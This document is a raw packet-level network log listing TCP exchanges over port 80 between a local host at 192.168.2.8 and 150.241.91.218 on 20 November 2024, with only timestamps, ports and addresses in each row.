                                                                                                                                                              Nov 20, 2024 11:21:17.510595083 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.510610104 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.510636091 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.510750055 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.510785103 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.513725996 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.513791084 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.513807058 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.513855934 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.516658068 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.516716957 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.516716957 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.516729116 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.516763926 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.519546986 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.519558907 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.519613981 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.520114899 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.522471905 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.522485971 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.522499084 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.522509098 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.522538900 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.525201082 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.525213957 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.525228024 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.525249004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.527834892 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.527848959 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.527862072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.527869940 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.527899027 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.530090094 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.530102968 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.530114889 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.530159950 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.532970905 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.532987118 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.533000946 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.533010960 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.533040047 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.535357952 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.535372972 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.535384893 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.535403967 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.537935019 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.537949085 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.537961960 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.537970066 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.538007021 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.540209055 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.540220976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.540255070 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.541831017 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.542682886 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.542695045 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.542718887 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.542730093 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.542762041 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.545170069 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.545181036 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.545226097 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.545468092 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.547425985 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.547439098 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.547473907 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.547533035 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.547574997 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.549187899 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.549201965 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.549216032 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.549235106 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.550942898 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.550952911 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.551009893 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.551265955 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.551337004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.552640915 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.552665949 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.552675962 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.552711010 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.554398060 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.554409027 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.554419994 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.554457903 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.554488897 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.556032896 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.556046009 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.556056976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.556083918 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.557764053 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.557823896 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.557833910 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.557857037 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.557868004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.559442997 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.559575081 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.559586048 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.559623957 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.561031103 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.561064005 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.561074018 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.561081886 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.561115026 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.562907934 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.562918901 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.562975883 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.564238071 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.564250946 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.564307928 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.564354897 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.564367056 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.564466000 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.565891027 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.565901041 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.565952063 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.567404032 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.567416906 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.567471027 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.567493916 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.567507029 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.567547083 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.570149899 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.570163012 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.570175886 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.570208073 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.572443962 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.572454929 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.572467089 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.572544098 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.573051929 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573064089 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573076010 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573105097 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.573935986 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573946953 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573960066 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.573977947 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.574003935 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.575166941 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.575191975 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.575201988 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.575234890 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.576613903 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.576625109 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.576658964 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.577019930 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.577073097 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.578073025 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.578083992 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.578097105 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.578133106 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.579307079 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.579349995 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.579405069 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.579416990 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.579444885 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.580775976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.580800056 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.580810070 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.580857992 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.582833052 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.582869053 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.582878113 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.582887888 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.582912922 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.583929062 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.583941936 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.583951950 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.584022045 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.585410118 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.585426092 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.585436106 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.585458994 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.585484982 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.586498976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.586509943 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.586523056 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.586565018 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.587923050 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.587971926 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.587982893 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.588011980 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.588022947 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.589356899 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.589396000 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.589405060 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.589441061 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.590514898 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.590554953 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.590557098 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.590567112 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.590606928 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.591924906 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.591938972 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.591949940 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.591978073 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.593224049 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.593265057 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.593270063 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.593281031 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.593312979 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.594832897 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.594845057 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.594862938 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.594892025 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.595837116 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.595861912 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.595871925 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.595877886 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.595910072 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.597388983 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.597400904 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.597414017 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.597449064 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.598529100 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.598582029 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.598591089 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.598607063 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.598635912 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.599848032 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.599860907 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.599903107 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.600652933 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.601083994 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.601093054 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.601135015 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.602261066 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.602286100 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.602299929 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.602308035 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.602308989 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.602350950 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.603599072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.603636026 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.603646040 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.603657007 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.603707075 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.604757071 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.604859114 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.604871035 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.604899883 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.606359959 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.606373072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.606393099 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.606410980 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.606430054 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.609030962 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.609044075 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.609055042 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.609136105 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.609147072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.609154940 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.609174013 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.614456892 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614469051 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614480972 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614550114 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.614568949 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614578962 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.614584923 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614598036 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.614619017 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.615025997 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.615066051 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.622252941 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622262955 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622282028 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622335911 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.622359991 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622373104 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622386932 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.622416973 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.622446060 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.623899937 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629412889 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629431963 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629441023 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629467964 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.629487038 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.629514933 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629525900 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629535913 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629547119 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.629586935 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.629797935 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637007952 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637073040 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.637109995 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637121916 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637132883 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637142897 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637155056 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.637172937 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.637196064 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.638664007 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.638720036 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.641021013 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641041040 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.641052008 CET8049718150.241.91.218192.168.2.8
